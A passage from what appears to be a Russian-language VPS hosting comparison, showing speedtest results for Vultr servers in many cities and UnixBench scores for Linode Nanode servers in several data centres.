WRITE: io=2439.5MB, aggrb=41631KB/s, minb=41631KB/s, maxb=41631KB/s, mint=60003msec, maxt=60003msec
Disk stats (read/write):
vda: ios=174/623749, merge=0/1473, ticks=232/48604, in_queue=48728, util=80.83%
```
**Speedtest (Австралия, Сидней)**
```
Retrieving speedtest.net configuration...
Testing from Choopa, LLC (139.180.167.158)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Exetel (Brisbane) [0.59 km]: 15.529 ms
Testing download speed................................................................................
Download: 563.62 Mbit/s
Testing upload speed................................................................................................
Upload: 443.93 Mbit/s
```
**Speedtest (Канада, Торонто)**
```
Retrieving speedtest.net configuration...
Testing from Choopa, LLC (155.138.134.23)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by FibreStream (Toronto, ON) [3.45 km]: 1.132 ms
Testing download speed................................................................................
Download: 5165.30 Mbit/s
Testing upload speed................................................................................................
Upload: 3611.44 Mbit/s
```
**Speedtest (Германия, Франкфурт)**
```
Retrieving speedtest.net configuration...
Testing from Choopa, LLC (136.244.81.190)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Vodafone DE (Frankfurt) [2.33 km]: 2.37 ms
Testing download speed................................................................................
Download: 612.19 Mbit/s
Testing upload speed................................................................................................
Upload: 811.55 Mbit/s
```
**Speedtest (Франция, Париж)**
```
Retrieving speedtest.net configuration...
Testing from Choopa, LLC (199.247.12.8)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Naitways (Paris) [2.04 km]: 3.818 ms
Testing download speed................................................................................
Download: 1079.52 Mbit/s
Testing upload speed................................................................................................
Upload: 897.98 Mbit/s
```
**Speedtest (Япония, Токио)**
```
Retrieving speedtest.net configuration...
Testing from Choopa, LLC (45.77.22.120)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by GLBB Japan (Tokyo) [12.49 km]: 1.346 ms
Testing download speed................................................................................
Download: 3699.98 Mbit/s
Testing upload speed................................................................................................
Upload: 1897.78 Mbit/s
```
**Speedtest (Нидерланды, Амстердам)**
```
Retrieving speedtest.net configuration...
Testing from Choopa, LLC (209.250.247.182)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by YISP B.V. (Haarlem) [1.45 km]: 1.08 ms
Testing download speed................................................................................
Download: 2836.05 Mbit/s
Testing upload speed................................................................................................
Upload: 2417.74 Mbit/s
```
**Speedtest (Сингапур)**
```
Retrieving speedtest.net configuration...
Testing from Choopa, LLC (66.42.49.136)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by NewMedia Express (Singapore) [6.13 km]: 15.508 ms
Testing download speed................................................................................
Download: 236.03 Mbit/s
Testing upload speed................................................................................................
Upload: 161.70 Mbit/s
```
**Speedtest (Великобритания, Лондон)**
```
Retrieving speedtest.net configuration...
Testing from Choopa, LLC (95.179.238.22)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Redraw Internet (London) [2.97 km]: 1.057 ms
Testing download speed................................................................................
Download: 714.62 Mbit/s
Testing upload speed................................................................................................
Upload: 759.21 Mbit/s
```
**Speedtest (США, Атланта)**
```
Retrieving speedtest.net configuration...
Testing from Choopa, LLC (155.138.200.236)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Whitesky Communications LLC (Atlanta, GA) [6.39 km]: 1.689 ms
Testing download speed................................................................................
Download: 4354.27 Mbit/s
Testing upload speed................................................................................................
Upload: 3473.80 Mbit/s
```
**Speedtest (США, Чикаго)**
```
Retrieving speedtest.net configuration...
Testing from Choopa, LLC (207.148.12.189)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Windstream (Chicago, IL) [31.77 km]: 8.795 ms
Testing download speed................................................................................
Download: 1454.70 Mbit/s
Testing upload speed................................................................................................
Upload: 1008.58 Mbit/s
```
**Speedtest (США, Даллас)**
```
Retrieving speedtest.net configuration...
Testing from Choopa, LLC (144.202.72.219)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Nitel (Dallas, TX) [1.45 km]: 1.099 ms
Testing download speed................................................................................
Download: 460.90 Mbit/s
Testing upload speed................................................................................................
Upload: 302.76 Mbit/s
```
**Speedtest (США, Лос-Анджелес)**
```
Retrieving speedtest.net configuration...
Testing from Choopa, LLC (45.76.68.204)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Bel Air Internet LLC (Los Angeles, CA) [2.73 km]: 1.023 ms
Testing download speed................................................................................
Download: 3429.38 Mbit/s
Testing upload speed................................................................................................
Upload: 2450.90 Mbit/s
```
**Speedtest (США, Майами)**
```
Retrieving speedtest.net configuration...
Testing from Choopa, LLC (140.82.28.193)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by TIGO (Miami, FL) [2.79 km]: 0.949 ms
Testing download speed................................................................................
Download: 938.03 Mbit/s
Testing upload speed................................................................................................
Upload: 835.08 Mbit/s
```
**Speedtest (США, Нью-Йорк)**
```
Retrieving speedtest.net configuration...
Testing from Choopa, LLC (45.77.97.253)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Vultr (Matawan, NJ) [24.71 km]: 1.114 ms
Testing download speed................................................................................
Download: 3753.04 Mbit/s
Testing upload speed................................................................................................
Upload: 2846.02 Mbit/s
```
**Speedtest (США, Сиэтл)**
```
Retrieving speedtest.net configuration...
Testing from Choopa, LLC (149.28.15.136)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Wowrack (Seattle, WA) [1.31 km]: 10.518 ms
Testing download speed................................................................................
Download: 4249.55 Mbit/s
Testing upload speed................................................................................................
Upload: 2548.90 Mbit/s
```
**Speedtest (США, Сан-Хосе)**
```
Retrieving speedtest.net configuration...
Testing from Choopa, LLC (45.77.2.227)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Razzolink Inc (San Jose, CA) [0.45 km]: 1.203 ms
Testing download speed................................................................................
Download: 4801.60 Mbit/s
Testing upload speed................................................................................................
Upload: 3428.94 Mbit/s
```
### Виртуальный сервер от Linode:
* тариф Nanode (25 GB SSD / 1x vCPU / 1 GB RAM / 1000 Mbit/s за $5 в месяц);
* дата-центры в Австралии, Великобритании, Германии, Индии, Канаде, Сингапуре, США, Японии.
#### Тесты:
**Unixbench (Австралия, Сидней)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: localhost: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3 (2019-09-02)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: AMD EPYC 7601 32-Core Processor (4400.0 bogomips)
x86-64, MMX, AMD MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
02:55:11 up 2 min, 1 user, load average: 0.66, 0.22, 0.08; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Mon Dec 16 2019 02:55:11 - 03:23:14
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 30133063.3 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4446.8 MWIPS (9.7 s, 7 samples)
Execl Throughput 5037.1 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 840751.9 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 232585.4 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 2355072.1 KBps (30.0 s, 2 samples)
Pipe Throughput 1567758.3 lps (10.0 s, 7 samples)
Pipe-based Context Switching 218719.7 lps (10.0 s, 7 samples)
Process Creation 15426.4 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 9564.1 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 1254.2 lpm (60.0 s, 2 samples)
System Call Overhead 2412004.0 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 30133063.3 2582.1
Double-Precision Whetstone 55.0 4446.8 808.5
Execl Throughput 43.0 5037.1 1171.4
File Copy 1024 bufsize 2000 maxblocks 3960.0 840751.9 2123.1
File Copy 256 bufsize 500 maxblocks 1655.0 232585.4 1405.4
File Copy 4096 bufsize 8000 maxblocks 5800.0 2355072.1 4060.5
Pipe Throughput 12440.0 1567758.3 1260.3
Pipe-based Context Switching 4000.0 218719.7 546.8
Process Creation 126.0 15426.4 1224.3
Shell Scripts (1 concurrent) 42.4 9564.1 2255.7
Shell Scripts (8 concurrent) 6.0 1254.2 2090.3
System Call Overhead 15000.0 2412004.0 1608.0
========
System Benchmarks Index Score 1548.1
```
**Unixbench (Канада, Торонто)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: localhost: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3 (2019-09-02)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: AMD EPYC 7501 32-Core Processor (4000.0 bogomips)
x86-64, MMX, AMD MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
23:43:33 up 2 min, 1 user, load average: 0.67, 0.23, 0.08; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Fri Dec 13 2019 23:43:33 - 00:11:37
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 28218808.4 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4106.8 MWIPS (9.8 s, 7 samples)
Execl Throughput 4001.1 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 776704.7 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 211047.3 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1886947.8 KBps (30.0 s, 2 samples)
Pipe Throughput 1465079.0 lps (10.0 s, 7 samples)
Pipe-based Context Switching 204475.4 lps (10.0 s, 7 samples)
Process Creation 13209.9 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 7985.9 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 1067.9 lpm (60.0 s, 2 samples)
System Call Overhead 2245138.6 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 28218808.4 2418.1
Double-Precision Whetstone 55.0 4106.8 746.7
Execl Throughput 43.0 4001.1 930.5
File Copy 1024 bufsize 2000 maxblocks 3960.0 776704.7 1961.4
File Copy 256 bufsize 500 maxblocks 1655.0 211047.3 1275.2
File Copy 4096 bufsize 8000 maxblocks 5800.0 1886947.8 3253.4
Pipe Throughput 12440.0 1465079.0 1177.7
Pipe-based Context Switching 4000.0 204475.4 511.2
Process Creation 126.0 13209.9 1048.4
Shell Scripts (1 concurrent) 42.4 7985.9 1883.5
Shell Scripts (8 concurrent) 6.0 1067.9 1779.8
System Call Overhead 15000.0 2245138.6 1496.8
========
System Benchmarks Index Score 1368.9
```
**Unixbench (Германия, Франкфурт)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: localhost: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3 (2019-09-02)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: AMD EPYC 7501 32-Core Processor (4000.0 bogomips)
x86-64, MMX, AMD MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
19:05:00 up 4 min, 1 user, load average: 0.56, 0.27, 0.12; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Sun Dec 15 2019 19:05:00 - 19:33:04
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 28555684.8 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4214.4 MWIPS (9.7 s, 7 samples)
Execl Throughput 4731.7 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 799611.6 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 218261.4 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1772488.0 KBps (30.0 s, 2 samples)
Pipe Throughput 1458871.8 lps (10.0 s, 7 samples)
Pipe-based Context Switching 205092.6 lps (10.0 s, 7 samples)
Process Creation 14474.3 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 8362.5 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 1126.3 lpm (60.0 s, 2 samples)
System Call Overhead 2170470.6 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 28555684.8 2446.9
Double-Precision Whetstone 55.0 4214.4 766.3
Execl Throughput 43.0 4731.7 1100.4
File Copy 1024 bufsize 2000 maxblocks 3960.0 799611.6 2019.2
File Copy 256 bufsize 500 maxblocks 1655.0 218261.4 1318.8
File Copy 4096 bufsize 8000 maxblocks 5800.0 1772488.0 3056.0
Pipe Throughput 12440.0 1458871.8 1172.7
Pipe-based Context Switching 4000.0 205092.6 512.7
Process Creation 126.0 14474.3 1148.8
Shell Scripts (1 concurrent) 42.4 8362.5 1972.3
Shell Scripts (8 concurrent) 6.0 1126.3 1877.2
System Call Overhead 15000.0 2170470.6 1447.0
========
System Benchmarks Index Score 1410.7
```
**Unixbench (Индия, Мумбаи)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: localhost: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3 (2019-09-02)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: AMD EPYC 7501 32-Core Processor (4000.0 bogomips)
x86-64, MMX, AMD MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
02:53:15 up 2 min, 1 user, load average: 0.59, 0.23, 0.09; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Mon Dec 16 2019 02:53:15 - 03:21:18
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 28681152.2 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4207.2 MWIPS (9.8 s, 7 samples)
Execl Throughput 4827.1 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 798915.0 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 218718.5 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 2211908.2 KBps (30.0 s, 2 samples)
Pipe Throughput 1480545.2 lps (10.0 s, 7 samples)
Pipe-based Context Switching 205294.0 lps (10.0 s, 7 samples)
Process Creation 14957.8 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 8948.3 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 1173.7 lpm (60.0 s, 2 samples)
System Call Overhead 2297535.6 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 28681152.2 2457.7
Double-Precision Whetstone 55.0 4207.2 764.9
Execl Throughput 43.0 4827.1 1122.6
File Copy 1024 bufsize 2000 maxblocks 3960.0 798915.0 2017.5
File Copy 256 bufsize 500 maxblocks 1655.0 218718.5 1321.6
File Copy 4096 bufsize 8000 maxblocks 5800.0 2211908.2 3813.6
Pipe Throughput 12440.0 1480545.2 1190.1
Pipe-based Context Switching 4000.0 205294.0 513.2
Process Creation 126.0 14957.8 1187.1
Shell Scripts (1 concurrent) 42.4 8948.3 2110.5
Shell Scripts (8 concurrent) 6.0 1173.7 1956.1
System Call Overhead 15000.0 2297535.6 1531.7
========
System Benchmarks Index Score 1465.8
```
**Unixbench (Япония, Токио)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: localhost: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3 (2019-09-02)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Intel(R) Xeon(R) CPU E5-2697 v4 @ 2.30GHz (4600.0 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
02:50:20 up 2 min, 1 user, load average: 0.80, 0.28, 0.10; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Mon Dec 16 2019 02:50:20 - 03:18:26
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 25781663.0 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4162.8 MWIPS (9.9 s, 7 samples)
Execl Throughput 3905.5 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 436438.9 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 117964.6 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1190983.5 KBps (30.0 s, 2 samples)
Pipe Throughput 600292.7 lps (10.0 s, 7 samples)
Pipe-based Context Switching 111777.7 lps (10.0 s, 7 samples)
Process Creation 9587.3 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 6991.2 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 905.6 lpm (60.0 s, 2 samples)
System Call Overhead 341762.2 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 25781663.0 2209.2
Double-Precision Whetstone 55.0 4162.8 756.9
Execl Throughput 43.0 3905.5 908.3
File Copy 1024 bufsize 2000 maxblocks 3960.0 436438.9 1102.1
File Copy 256 bufsize 500 maxblocks 1655.0 117964.6 712.8
File Copy 4096 bufsize 8000 maxblocks 5800.0 1190983.5 2053.4
Pipe Throughput 12440.0 600292.7 482.6
Pipe-based Context Switching 4000.0 111777.7 279.4
Process Creation 126.0 9587.3 760.9
Shell Scripts (1 concurrent) 42.4 6991.2 1648.9
Shell Scripts (8 concurrent) 6.0 905.6 1509.3
System Call Overhead 15000.0 341762.2 227.8
========
System Benchmarks Index Score 850.1
```
**Unixbench (Сингапур)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: localhost: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3 (2019-09-02)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Intel(R) Xeon(R) CPU E5-2697 v4 @ 2.30GHz (4600.0 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
00:59:58 up 3 min, 1 user, load average: 0.68, 0.25, 0.09; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Mon Dec 16 2019 00:59:58 - 01:28:03
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 25946607.9 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4166.4 MWIPS (9.9 s, 7 samples)
Execl Throughput 3876.2 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 449371.9 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 118226.6 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1265344.6 KBps (30.0 s, 2 samples)
Pipe Throughput 603138.5 lps (10.0 s, 7 samples)
Pipe-based Context Switching 112800.7 lps (10.0 s, 7 samples)
Process Creation 9763.9 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 6993.3 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 905.4 lpm (60.0 s, 2 samples)
System Call Overhead 341957.3 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 25946607.9 2223.4
Double-Precision Whetstone 55.0 4166.4 757.5
Execl Throughput 43.0 3876.2 901.5
File Copy 1024 bufsize 2000 maxblocks 3960.0 449371.9 1134.8
File Copy 256 bufsize 500 maxblocks 1655.0 118226.6 714.4
File Copy 4096 bufsize 8000 maxblocks 5800.0 1265344.6 2181.6
Pipe Throughput 12440.0 603138.5 484.8
Pipe-based Context Switching 4000.0 112800.7 282.0
Process Creation 126.0 9763.9 774.9
Shell Scripts (1 concurrent) 42.4 6993.3 1649.4
Shell Scripts (8 concurrent) 6.0 905.4 1508.9
System Call Overhead 15000.0 341957.3 228.0
========
System Benchmarks Index Score 859.0
```
**Unixbench (Великобритания, Лондон)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: localhost: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3 (2019-09-02)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Intel(R) Xeon(R) CPU E5-2680 v3 @ 2.50GHz (5000.0 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
15:58:44 up 2 min, 1 user, load average: 0.81, 0.32, 0.12; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Sun Dec 15 2019 15:58:44 - 16:26:52
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 27229246.0 lps (10.0 s, 7 samples)
Double-Precision Whetstone 3624.0 MWIPS (9.7 s, 7 samples)
Execl Throughput 3869.2 lps (29.6 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 463380.7 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 125234.3 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1075247.3 KBps (30.0 s, 2 samples)
Pipe Throughput 650363.8 lps (10.0 s, 7 samples)
Pipe-based Context Switching 119004.4 lps (10.0 s, 7 samples)
Process Creation 9502.3 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 7004.4 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 881.0 lpm (60.0 s, 2 samples)
System Call Overhead 356503.7 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 27229246.0 2333.3
Double-Precision Whetstone 55.0 3624.0 658.9
Execl Throughput 43.0 3869.2 899.8
File Copy 1024 bufsize 2000 maxblocks 3960.0 463380.7 1170.2
File Copy 256 bufsize 500 maxblocks 1655.0 125234.3 756.7
File Copy 4096 bufsize 8000 maxblocks 5800.0 1075247.3 1853.9
Pipe Throughput 12440.0 650363.8 522.8
Pipe-based Context Switching 4000.0 119004.4 297.5
Process Creation 126.0 9502.3 754.2
Shell Scripts (1 concurrent) 42.4 7004.4 1652.0
Shell Scripts (8 concurrent) 6.0 881.0 1468.3
System Call Overhead 15000.0 356503.7 237.7
========
System Benchmarks Index Score 855.4
```
**Unixbench (США, Атланта)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: localhost: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3 (2019-09-02)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: AMD EPYC 7501 32-Core Processor (4000.0 bogomips)
x86-64, MMX, AMD MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
07:44:55 up 3 min, 1 user, load average: 0.86, 0.39, 0.15; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Thu Dec 05 2019 07:44:55 - 08:13:01
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 27076602.3 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4059.3 MWIPS (9.8 s, 7 samples)
Execl Throughput 3779.0 lps (29.9 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 648772.3 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 182118.5 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1695046.2 KBps (30.0 s, 2 samples)
Pipe Throughput 1411027.5 lps (10.0 s, 7 samples)
Pipe-based Context Switching 186657.9 lps (10.0 s, 7 samples)
Process Creation 10081.5 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 7214.0 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 909.5 lpm (60.0 s, 2 samples)
System Call Overhead 2183324.7 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 27076602.3 2320.2
Double-Precision Whetstone 55.0 4059.3 738.1
Execl Throughput 43.0 3779.0 878.8
File Copy 1024 bufsize 2000 maxblocks 3960.0 648772.3 1638.3
File Copy 256 bufsize 500 maxblocks 1655.0 182118.5 1100.4
File Copy 4096 bufsize 8000 maxblocks 5800.0 1695046.2 2922.5
Pipe Throughput 12440.0 1411027.5 1134.3
Pipe-based Context Switching 4000.0 186657.9 466.6
Process Creation 126.0 10081.5 800.1
Shell Scripts (1 concurrent) 42.4 7214.0 1701.4
Shell Scripts (8 concurrent) 6.0 909.5 1515.9
System Call Overhead 15000.0 2183324.7 1455.5
========
System Benchmarks Index Score 1235.1
```
**Unixbench (США, Даллас)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: localhost: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3 (2019-09-02)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Intel(R) Xeon(R) CPU E5-2697 v4 @ 2.30GHz (4600.0 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
14:18:56 up 4 min, 1 user, load average: 0.72, 0.27, 0.10; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Wed Dec 11 2019 14:18:56 - 14:47:01
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 25639903.4 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4159.3 MWIPS (9.8 s, 7 samples)
Execl Throughput 3906.9 lps (29.9 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 450551.9 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 120930.2 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1241998.9 KBps (30.0 s, 2 samples)
Pipe Throughput 599891.8 lps (10.0 s, 7 samples)
Pipe-based Context Switching 117628.7 lps (10.0 s, 7 samples)
Process Creation 9526.7 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 7065.9 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 909.3 lpm (60.0 s, 2 samples)
System Call Overhead 342067.6 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 25639903.4 2197.1
Double-Precision Whetstone 55.0 4159.3 756.2
Execl Throughput 43.0 3906.9 908.6
File Copy 1024 bufsize 2000 maxblocks 3960.0 450551.9 1137.8
File Copy 256 bufsize 500 maxblocks 1655.0 120930.2 730.7
File Copy 4096 bufsize 8000 maxblocks 5800.0 1241998.9 2141.4
Pipe Throughput 12440.0 599891.8 482.2
Pipe-based Context Switching 4000.0 117628.7 294.1
Process Creation 126.0 9526.7 756.1
Shell Scripts (1 concurrent) 42.4 7065.9 1666.5
Shell Scripts (8 concurrent) 6.0 909.3 1515.4
System Call Overhead 15000.0 342067.6 228.0
========
System Benchmarks Index Score 861.0
```
**Unixbench (США, Фримонт)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: localhost: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3 (2019-09-02)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Intel(R) Xeon(R) CPU E5-2697 v4 @ 2.30GHz (4600.0 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
18:18:58 up 3 min, 1 user, load average: 0.64, 0.23, 0.09; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Wed Dec 11 2019 18:18:58 - 18:47:02
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 25968547.5 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4168.6 MWIPS (9.8 s, 7 samples)
Execl Throughput 3912.3 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 467206.8 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 121416.0 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1441297.8 KBps (30.0 s, 2 samples)
Pipe Throughput 604580.9 lps (10.0 s, 7 samples)
Pipe-based Context Switching 117233.5 lps (10.0 s, 7 samples)
Process Creation 9613.5 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 7118.7 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 936.4 lpm (60.0 s, 2 samples)
System Call Overhead 343482.8 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 25968547.5 2225.2
Double-Precision Whetstone 55.0 4168.6 757.9
Execl Throughput 43.0 3912.3 909.8
File Copy 1024 bufsize 2000 maxblocks 3960.0 467206.8 1179.8
File Copy 256 bufsize 500 maxblocks 1655.0 121416.0 733.6
File Copy 4096 bufsize 8000 maxblocks 5800.0 1441297.8 2485.0
Pipe Throughput 12440.0 604580.9 486.0
Pipe-based Context Switching 4000.0 117233.5 293.1
Process Creation 126.0 9613.5 763.0
Shell Scripts (1 concurrent) 42.4 7118.7 1678.9
Shell Scripts (8 concurrent) 6.0 936.4 1560.7
System Call Overhead 15000.0 343482.8 229.0
========
System Benchmarks Index Score 879.8
```
**Unixbench (США, Ньюарк)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: localhost: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3 (2019-09-02)
